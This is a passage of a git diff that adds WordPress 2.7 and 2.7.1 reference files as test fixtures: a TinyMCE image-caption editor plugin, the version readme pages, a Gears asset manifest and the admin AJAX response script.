if ( n.nodeName == 'IMG' && (DL = ed.dom.getParent(n, 'DL')) ) {
window.setTimeout(function(){
var ed = tinyMCE.activeEditor, n = ed.selection.getNode(), DL = ed.dom.getParent(n, 'DL');
if ( n.width != (parseInt(ed.dom.getStyle(DL, 'width')) - 10) ) {
ed.dom.setStyle(DL, 'width', parseInt(n.width)+10);
ed.execCommand('mceRepaint');
}
}, 100);
}
}
});
ed.onMouseDown.add(function(ed, e) {
if ( tinymce.isOpera || e.target.nodeName != 'IMG' ) {
t.hideButtons();
return;
}
ed.plugins.wpeditimage.showButtons(e.target);
});
ed.onKeyPress.add(function(ed, e) {
var DL, DIV;
if ( e.keyCode == 13 && (DL = ed.dom.getParent(ed.selection.getNode(), 'DL')) ) {
var P = ed.dom.create('p', {}, '&nbsp;');
if ( (DIV = DL.parentNode) && DIV.nodeName == 'DIV' )
ed.dom.insertAfter( P, DIV );
else ed.dom.insertAfter( P, DL );
tinymce.dom.Event.cancel(e);
ed.selection.select(P);
return false;
}
});
ed.onBeforeSetContent.add(function(ed, o) {
o.content = t._do_shcode(o.content);
});
ed.onPostProcess.add(function(ed, o) {
if (o.get)
o.content = t._get_shcode(o.content);
});
},
_do_shcode : function(co) {
return co.replace(/\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\][\s\u00a0]*/g, function(a,b,c){
b = b.replace(/\\'|\\&#39;|\\&#039;/g, '&#39;').replace(/\\"|\\&quot;/g, '&quot;');
c = c.replace(/\\&#39;|\\&#039;/g, '&#39;').replace(/\\&quot;/g, '&quot;');
var id = b.match(/id=['"]([^'"]+)/i), cls = b.match(/align=['"]([^'"]+)/i);
var w = b.match(/width=['"]([0-9]+)/), cap = b.match(/caption=['"]([^'"]+)/i);
id = ( id && id[1] ) ? id[1] : '';
cls = ( cls && cls[1] ) ? cls[1] : 'alignnone';
w = ( w && w[1] ) ? w[1] : '';
cap = ( cap && cap[1] ) ? cap[1] : '';
if ( ! w || ! cap ) return c;
var div_cls = (cls == 'aligncenter') ? 'mceTemp mceIEcenter' : 'mceTemp';
return '<div class="'+div_cls+'"><dl id="'+id+'" class="wp-caption '+cls+'" style="width: '+(10+parseInt(w))+
'px"><dt class="wp-caption-dt">'+c+'</dt><dd class="wp-caption-dd">'+cap+'</dd></dl></div>';
});
},
_get_shcode : function(co) {
return co.replace(/<div class="mceTemp[^"]*">\s*<dl([^>]+)>\s*<dt[^>]+>([\s\S]+?)<\/dt>\s*<dd[^>]+>(.+?)<\/dd>\s*<\/dl>\s*<\/div>\s*/gi, function(a,b,c,cap){
var id = b.match(/id=['"]([^'"]+)/i), cls = b.match(/class=['"]([^'"]+)/i);
var w = c.match(/width=['"]([0-9]+)/);
id = ( id && id[1] ) ? id[1] : '';
cls = ( cls && cls[1] ) ? cls[1] : 'alignnone';
w = ( w && w[1] ) ? w[1] : '';
if ( ! w || ! cap ) return c;
cls = cls.match(/align[^ '"]+/) || 'alignnone';
cap = cap.replace(/<\S[^<>]*>/gi, '').replace(/'/g, '&#39;').replace(/"/g, '&quot;');
return '[caption id="'+id+'" align="'+cls+'" width="'+w+'" caption="'+cap+'"]'+c+'[/caption]';
});
},
showButtons : function(n) {
var t = this, ed = tinyMCE.activeEditor, p1, p2, vp, DOM = tinymce.DOM, X, Y;
if (ed.dom.getAttrib(n, 'class').indexOf('mceItem') != -1)
return;
vp = ed.dom.getViewPort(ed.getWin());
p1 = DOM.getPos(ed.getContentAreaContainer());
p2 = ed.dom.getPos(n);
X = Math.max(p2.x - vp.x, 0) + p1.x;
Y = Math.max(p2.y - vp.y, 0) + p1.y;
DOM.setStyles('wp_editbtns', {
'top' : Y+5+'px',
'left' : X+5+'px',
'display' : 'block'
});
t.btnsTout = window.setTimeout( function(){ed.plugins.wpeditimage.hideButtons();}, 5000 );
},
hideButtons : function() {
if ( tinymce.DOM.isHidden('wp_editbtns') ) return;
tinymce.DOM.hide('wp_editbtns');
window.clearTimeout(this.btnsTout);
},
_createButtons : function() {
var t = this, ed = tinyMCE.activeEditor, DOM = tinymce.DOM;
DOM.remove('wp_editbtns');
var wp_editbtns = DOM.add(document.body, 'div', {
id : 'wp_editbtns',
style : 'display:none;'
});
var wp_editimgbtn = DOM.add('wp_editbtns', 'img', {
src : t.url+'/img/image.png',
id : 'wp_editimgbtn',
width : '24',
height : '24',
title : ed.getLang('wpeditimage.edit_img')
});
wp_editimgbtn.onmousedown = function(e) {
var ed = tinyMCE.activeEditor;
ed.windowManager.bookmark = ed.selection.getBookmark('simple');
ed.execCommand("WP_EditImage");
this.parentNode.style.display = 'none';
};
var wp_delimgbtn = DOM.add('wp_editbtns', 'img', {
src : t.url+'/img/delete.png',
id : 'wp_delimgbtn',
width : '24',
height : '24',
title : ed.getLang('wpeditimage.del_img')
});
wp_delimgbtn.onmousedown = function(e) {
var ed = tinyMCE.activeEditor, el = ed.selection.getNode(), p;
if ( el.nodeName == 'IMG' && ed.dom.getAttrib(el, 'class').indexOf('mceItem') == -1 ) {
if ( (p = ed.dom.getParent(el, 'div')) && ed.dom.hasClass(p, 'mceTemp') )
ed.dom.remove(p);
else if ( (p = ed.dom.getParent(el, 'A')) && p.childNodes.length == 1 )
ed.dom.remove(p);
else ed.dom.remove(el);
this.parentNode.style.display = 'none';
ed.execCommand('mceRepaint');
return false;
}
};
},
getInfo : function() {
return {
longname : 'Edit Image',
author : 'WordPress',
authorurl : 'http://wordpress.org',
infourl : '',
version : "1.0"
};
}
});
tinymce.PluginManager.add('wpeditimage', tinymce.plugins.wpEditImage);
})();

91
spec/fixtures/wp_versions/2.7.1/readme.html vendored Executable file
View File

@@ -0,0 +1,91 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &rsaquo; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
</head>
<body>
<h1 id="logo" style="text-align: center">
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
<br /> Version 2.7
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right;">&#8212; Matt Mullenweg</p>
<h1>Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory.</li>
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
<li>Save the file as <code>wp-config.php</code></li>
<li>Upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
<li><strong>Note the password given to you.</strong></li>
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
</ol>
<h1>Upgrading</h1>
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
<h2>Upgrading from any previous WordPress to 2.7:</h2>
<ol>
<li>Delete your old WP files, saving ones you've modified.</li>
<li>Upload the new files.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<h2>Template Changes</h2>
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
</dl>
<h1>System Recommendations</h1>
<ul>
<li>PHP version <strong>4.3</strong> or higher.</li>
<li>MySQL version <strong>4.0</strong> or higher.</li>
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
</ul>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&eacute;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
<h1>Upgrading from another system</h1>
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
<h1>XML-RPC and Atom Interface</h1>
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
<h1>Post via Email</h1>
<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
<h1>User Roles</h1>
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
<h1> Final notes</h1>
<ul>
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
</ul>
<h1>Share the Love</h1>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<h1>Copyright</h1>
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
</body>
</html>

View File

@@ -0,0 +1,172 @@
{
"betaManifestVersion" : 1,
"version" : "4b51a58d4927f3b7d9212528af2c121c_20081201",
"entries" : [
{ "url" : "js/common.js?ver=20081210" },
{ "url" : "../wp-includes/js/tw-sack.js?ver=1.6.1" },
{ "url" : "../wp-includes/js/quicktags.js?ver=20081210" },
{ "url" : "../wp-includes/js/colorpicker.js?ver=3517" },
{ "url" : "js/editor.js?ver=20081129" },
{ "url" : "../wp-includes/js/prototype.js?ver=1.6" },
{ "url" : "../wp-includes/js/wp-ajax-response.js?ver=20081210" },
{ "url" : "../wp-includes/js/autosave.js?ver=20081210" },
{ "url" : "../wp-includes/js/wp-lists.js?ver=20081210" },
{ "url" : "../wp-includes/js/scriptaculous/wp-scriptaculous.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/builder.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/dragdrop.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/effects.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/slider.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/sound.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/scriptaculous/controls.js?ver=1.8.0" },
{ "url" : "../wp-includes/js/crop/cropper.js?ver=20070118" },
{ "url" : "../wp-includes/js/jquery/jquery.js?ver=1.2.6" },
{ "url" : "../wp-includes/js/jquery/jquery.form.js?ver=2.02" },
{ "url" : "../wp-includes/js/jquery/jquery.color.js?ver=2.0-4561" },
{ "url" : "../wp-includes/js/jquery/interface.js?ver=1.2" },
{ "url" : "../wp-includes/js/jquery/suggest.js?ver=1.1b" },
{ "url" : "../wp-includes/js/jquery/jquery.schedule.js?ver=20" },
{ "url" : "../wp-includes/js/jquery/jquery.hotkeys.js?ver=0.0.2" },
{ "url" : "../wp-includes/js/jquery/jquery.table-hotkeys.js?ver=20081128" },
{ "url" : "../wp-includes/js/thickbox/thickbox.js?ver=3.1-20090123" },
{ "url" : "../wp-includes/js/swfupload/swfupload.js?ver=2.2.0-20081031" },
{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.graceful_degradation.js?ver=2.2.0-20081031" },
{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.swfobject.js?ver=2.2.0-20081031" },
{ "url" : "../wp-includes/js/swfupload/plugins/swfupload.queue.js?ver=2.2.0-20081031" },
{ "url" : "../wp-includes/js/swfupload/handlers.js?ver=2.2.0-20081201" },
{ "url" : "../wp-includes/js/jquery/ui.core.js?ver=1.5.2" },
{ "url" : "../wp-includes/js/jquery/ui.tabs.js?ver=1.5.2" },
{ "url" : "../wp-includes/js/jquery/ui.sortable.js?ver=1.5.2c" },
{ "url" : "../wp-includes/js/jquery/ui.draggable.js?ver=1.5.2" },
{ "url" : "../wp-includes/js/jquery/ui.resizable.js?ver=1.5.2" },
{ "url" : "../wp-includes/js/jquery/ui.dialog.js?ver=1.5.2" },
{ "url" : "../wp-includes/js/comment-reply.js?ver=20081210" },
{ "url" : "js/cat.js?ver=20081210" },
{ "url" : "js/categories.js?ver=20081210" },
{ "url" : "js/tags.js?ver=20081210" },
{ "url" : "js/custom-fields.js?ver=20081210" },
{ "url" : "js/password-strength-meter.js?ver=20081210" },
{ "url" : "js/edit-comments.js?ver=20081210" },
{ "url" : "js/users.js?ver=20081210" },
{ "url" : "js/xfn.js?ver=3517" },
{ "url" : "js/postbox.js?ver=20081210" },
{ "url" : "js/slug.js?ver=20081210" },
{ "url" : "js/post.js?ver=20081210" },
{ "url" : "js/page.js?ver=20081210" },
{ "url" : "js/link.js?ver=20081210" },
{ "url" : "js/comment.js?ver=20081210" },
{ "url" : "js/gallery.js?ver=20081210" },
{ "url" : "js/media-upload.js?ver=20081210" },
{ "url" : "js/widgets.js?ver=20081210" },
{ "url" : "js/word-count.js?ver=20081210" },
{ "url" : "js/wp-gears.js?ver=20081210" },
{ "url" : "js/theme-preview.js?ver=20081210" },
{ "url" : "js/inline-edit-post.js?ver=20081210" },
{ "url" : "js/inline-edit-tax.js?ver=20081210" },
{ "url" : "js/plugin-install.js?ver=20081210" },
{ "url" : "js/farbtastic.js?ver=1.2" },
{ "url" : "js/dashboard.js?ver=20081210" },
{ "url" : "../wp-includes/js/hoverIntent.js?ver=20081210" },
{ "url" : "wp-admin.css?ver=20081210" },
{ "url" : "rtl.css?ver=20081210" },
{ "url" : "css/ie.css?ver=20081210" },
{ "url" : "css/ie-rtl.css?ver=20081210" },
{ "url" : "css/colors-classic.css?ver=20081210" },
{ "url" : "css/colors-classic-rtl.css?ver=20081210" },
{ "url" : "css/colors-fresh.css?ver=20081210" },
{ "url" : "css/colors-fresh-rtl.css?ver=20081210" },
{ "url" : "css/colors-classic.css?ver=20081210" },
{ "url" : "css/colors-classic-rtl.css?ver=20081210" },
{ "url" : "css/global.css?ver=20081210" },
{ "url" : "css/global-rtl.css?ver=20081210" },
{ "url" : "css/media.css?ver=20081210" },
{ "url" : "css/media-rtl.css?ver=20081210" },
{ "url" : "css/widgets.css?ver=20081210" },
{ "url" : "css/widgets-rtl.css?ver=20081210" },
{ "url" : "css/dashboard.css?ver=20081210" },
{ "url" : "css/dashboard-rtl.css?ver=20081210" },
{ "url" : "css/install.css?ver=20081210" },
{ "url" : "css/install-rtl.css?ver=20081210" },
{ "url" : "css/theme-editor.css?ver=20081210" },
{ "url" : "css/theme-editor-rtl.css?ver=20081210" },
{ "url" : "css/press-this.css?ver=20081210" },
{ "url" : "css/press-this-rtl.css?ver=20081210" },
{ "url" : "../wp-includes/js/thickbox/thickbox.css?ver=20081210" },
{ "url" : "css/login.css?ver=20081210" },
{ "url" : "css/login-rtl.css?ver=20081210" },
{ "url" : "css/plugin-install.css?ver=20081210" },
{ "url" : "css/plugin-install-rtl.css?ver=20081210" },
{ "url" : "css/farbtastic.css?ver=1.2" },
{ "url" : "css/farbtastic-rtl.css?ver=1.2" },
{ "url" : "images/align-center.png" },
{ "url" : "images/align-left.png" },
{ "url" : "images/align-none.png" },
{ "url" : "images/align-right.png" },
{ "url" : "images/archive-link.png" },
{ "url" : "images/blue-grad.png" },
{ "url" : "images/browse-happy.gif" },
{ "url" : "images/bubble_bg.gif" },
{ "url" : "images/bubble_bg-rtl.gif" },
{ "url" : "images/button-grad.png" },
{ "url" : "images/button-grad-active.png" },
{ "url" : "images/comment-grey-bubble.png" },
{ "url" : "images/date-button.gif" },
{ "url" : "images/ed-bg.gif" },
{ "url" : "images/fade-butt.png" },
{ "url" : "images/fav.png" },
{ "url" : "images/fav-arrow.gif" },
{ "url" : "images/fav-arrow-rtl.gif" },
{ "url" : "images/fav-top.png" },
{ "url" : "images/generic.png" },
{ "url" : "images/gray-grad.png" },
{ "url" : "images/icons32.png" },
{ "url" : "images/icons32-vs.png" },
{ "url" : "images/list.png" },
{ "url" : "images/list-vs.png" },
{ "url" : "images/loading.gif" },
{ "url" : "images/loading-publish.gif" },
{ "url" : "images/logo.gif" },
{ "url" : "images/logo-ghost.png" },
{ "url" : "images/logo-login.gif" },
{ "url" : "images/media-button-image.gif" },
{ "url" : "images/media-button-music.gif" },
{ "url" : "images/media-button-other.gif" },
{ "url" : "images/media-button-video.gif" },
{ "url" : "images/menu.png" },
{ "url" : "images/menu-vs.png" },
{ "url" : "images/menu-arrows.gif" },
{ "url" : "images/menu-bits.gif" },
{ "url" : "images/menu-bits-rtl.gif" },
{ "url" : "images/menu-dark.gif" },
{ "url" : "images/menu-dark-rtl.gif" },
{ "url" : "images/no.png" },
{ "url" : "images/required.gif" },
{ "url" : "images/resize.gif" },
{ "url" : "images/screen-options-left.gif" },
{ "url" : "images/screen-options-right.gif" },
{ "url" : "images/screen-options-right-up.gif" },
{ "url" : "images/se.png" },
{ "url" : "images/star.gif" },
{ "url" : "images/toggle-arrow.gif" },
{ "url" : "images/toggle-arrow-rtl.gif" },
{ "url" : "images/white-grad.png" },
{ "url" : "images/white-grad-active.png" },
{ "url" : "images/wordpress-logo.png" },
{ "url" : "images/wp-logo.gif" },
{ "url" : "images/xit.gif" },
{ "url" : "images/yes.png" },
{ "url" : "../wp-includes/images/crystal/archive.png" },
{ "url" : "../wp-includes/images/crystal/audio.png" },
{ "url" : "../wp-includes/images/crystal/code.png" },
{ "url" : "../wp-includes/images/crystal/default.png" },
{ "url" : "../wp-includes/images/crystal/document.png" },
{ "url" : "../wp-includes/images/crystal/interactive.png" },
{ "url" : "../wp-includes/images/crystal/text.png" },
{ "url" : "../wp-includes/images/crystal/video.png" },
{ "url" : "../wp-includes/images/crystal/spreadsheet.png" },
{ "url" : "../wp-includes/images/rss.png" },
{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif" },
{ "url" : "../wp-includes/js/thickbox/tb-close.png" }
]}

View File

@@ -0,0 +1,60 @@
var wpAjax = jQuery.extend( {
unserialize: function( s ) {
var r = {}; if ( !s ) { return r; }
var q = s.split('?'); if ( q[1] ) { s = q[1]; }
var pp = s.split('&');
for ( var i in pp ) {
if ( jQuery.isFunction(pp.hasOwnProperty) && !pp.hasOwnProperty(i) ) { continue; }
var p = pp[i].split('=');
r[p[0]] = p[1];
}
return r;
},
parseAjaxResponse: function( x, r, e ) { // 1 = good, 0 = strange (bad data?), -1 = you lack permission
var parsed = {};
var re = jQuery('#' + r).html('');
if ( x && typeof x == 'object' && x.getElementsByTagName('wp_ajax') ) {
parsed.responses = [];
parsed.errors = false;
var err = '';
jQuery('response', x).each( function() {
var th = jQuery(this);
var child = jQuery(this.firstChild);
var response = { action: th.attr('action'), what: child.get(0).nodeName, id: child.attr('id'), oldId: child.attr('old_id'), position: child.attr('position') };
response.data = jQuery( 'response_data', child ).text();
response.supplemental = {};
if ( !jQuery( 'supplemental', child ).children().each( function() {
response.supplemental[this.nodeName] = jQuery(this).text();
} ).size() ) { response.supplemental = false }
response.errors = [];
if ( !jQuery('wp_error', child).each( function() {
var code = jQuery(this).attr('code');
var anError = { code: code, message: this.firstChild.nodeValue, data: false };
var errorData = jQuery('wp_error_data[code="' + code + '"]', x);
if ( errorData ) { anError.data = errorData.get(); }
var formField = jQuery( 'form-field', errorData ).text();
if ( formField ) { code = formField; }
if ( e ) { wpAjax.invalidateForm( jQuery('#' + e + ' :input[name="' + code + '"]' ).parents('.form-field:first') ); }
err += '<p>' + anError.message + '</p>';
response.errors.push( anError );
parsed.errors = true;
} ).size() ) { response.errors = false; }
parsed.responses.push( response );
} );
if ( err.length ) { re.html( '<div class="error">' + err + '</div>' ); }
return parsed;
}
if ( isNaN(x) ) { return !re.html('<div class="error"><p>' + x + '</p></div>'); }
x = parseInt(x,10);
if ( -1 == x ) { return !re.html('<div class="error"><p>' + wpAjax.noPerm + '</p></div>'); }
else if ( 0 === x ) { return !re.html('<div class="error"><p>' + wpAjax.broken + '</p></div>'); }
return true;
},
invalidateForm: function ( selector ) {
return jQuery( selector ).addClass( 'form-invalid' ).change( function() { jQuery(this).removeClass( 'form-invalid' ); } );
},
validateForm: function( selector ) {
selector = jQuery( selector );
return !wpAjax.invalidateForm( selector.find('.form-required').andSelf().filter('.form-required:has(:input[value=""]), .form-required:input[value=""]') ).size();
}
}, wpAjax || { noPerm: 'You do not have permission to do that.', broken: 'An unidentified error has occurred.' } );

91
spec/fixtures/wp_versions/2.7/readme.html vendored Executable file
View File

@@ -0,0 +1,91 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress &rsaquo; ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css" type="text/css" />
</head>
<body>
<h1 id="logo" style="text-align: center">
<img alt="WordPress" src="wp-admin/images/wordpress-logo.png" />
<br /> Version 2.7
</h1>
<p style="text-align: center">Semantic Personal Publishing Platform</p>
<h1>First Things First</h1>
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
<p style="text-align: right;">&#8212; Matt Mullenweg</p>
<h1>Installation: Famous 5-minute install</h1>
<ol>
<li>Unzip the package in an empty directory.</li>
<li>Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
<li>Save the file as <code>wp-config.php</code></li>
<li>Upload everything.</li>
<li>Open <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the tables needed for your blog. If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> with as much data as you can gather.</li>
<li><strong>Note the password given to you.</strong></li>
<li> The install script should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username <code>admin</code> and the password generated during the installation. You can then click on 'Profile' to change the password.</li>
</ol>
<h1>Upgrading</h1>
<p>Before you upgrade anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</p>
<h2>Upgrading from any previous WordPress to 2.7:</h2>
<ol>
<li>Delete your old WP files, saving ones you've modified.</li>
<li>Upload the new files.</li>
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
<li>You wanted more, perhaps? That's it!</li>
</ol>
<h2>Template Changes</h2>
<p>If you have customized your templates you will probably have to make some changes to them. If you're converting your 1.2 or earlier templates, <a href="http://codex.wordpress.org/Upgrade_1.2_to_1.5">we've created a special guide for you</a>. </p>
<h1>Online Resources</h1>
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
<dl>
<dt><a href="http://codex.wordpress.org/">The WordPress Codex </a></dt>
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
<dt><a href="http://wordpress.org/development/">The Development Blog</a></dt>
<dd>This is where you'll find the latest updates and news related to WordPress. Bookmark and check often.</dd>
<dt><a href="http://planet.wordpress.org/">WordPress Planet </a></dt>
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
<dt><a href="http://codex.wordpress.org/IRC">WordPress IRC Channel</a></dt>
<dd>Finally, there is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
</dl>
<h1>System Recommendations</h1>
<ul>
<li>PHP version <strong>4.3</strong> or higher.</li>
<li>MySQL version <strong>4.0</strong> or higher.</li>
<li>... and a link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
</ul>
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/caf&eacute;log</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>.</p>
<h1>Upgrading from another system</h1>
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above.</p>
<h1>XML-RPC and Atom Interface</h1>
<p>You can now post to your WordPress blog with tools like <a href="http://windowslivewriter.spaces.live.com/">Windows Live Writer</a>, <a href="http://ecto.kung-foo.tv/">Ecto</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support">XML-RPC support on the Codex</a>.</p>
<h1>Post via Email</h1>
<p>You can post from an email client! To set this up go to your &quot;Writing&quot; options screen and fill in the connection details for your secret POP3 account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> URL.</p>
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
<h1>User Roles</h1>
<p>We've eliminated user levels in order to make way for the much more flexible roles system introduced in 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
<h1> Final notes</h1>
<ul>
<li>If you have any suggestions, ideas, comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
<li>WordPress now has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this see the <a href="http://codex.wordpress.org/Plugin_API">plugin documentation in the Codex</a>. In most all cases you shouldn't modify any of the core code.</li>
</ul>
<h1>Share the Love</h1>
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better&#8212;you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
<h1>Copyright</h1>
<p>WordPress is released under the <abbr title="GNU Public License">GPL</abbr> (see <a href="license.txt">license.txt</a>).</p>
</body>
</html>

View File

@@ -0,0 +1,172 @@
{
"betaManifestVersion" : 1,
"version" : "c15b142b7f4676d28007b378f3d92e3a_20081201",
"entries" : [
{ "url" : "js/common.js?ver=20081210" },
{ "url" : "../wp-includes/js/tw-sack.js?ver=1.6.1" },
{ "url" : "../wp-includes/js/quicktags.js?ver=20081210" },
{ "url" : "../wp-includes/js/colorpicker.js?ver=3517" },
{ "url" : "js/editor.js?ver=20081129" },
{ "url" : "../wp-includes/js/prototype.js?ver=1.6" },
{ "url" : "../wp-includes/js/wp-ajax-response.js?ver=20081210" },
{ "url" : "../wp-includes/js/autosave.js?ver=20081210" },
{ "url" : "../wp-includes/js/wp-lists.js?ver=20081210" },
{ "url" : "../wp-includes/js/scriptaculous/wp-scriptaculous.js?ver=1.8.0" },
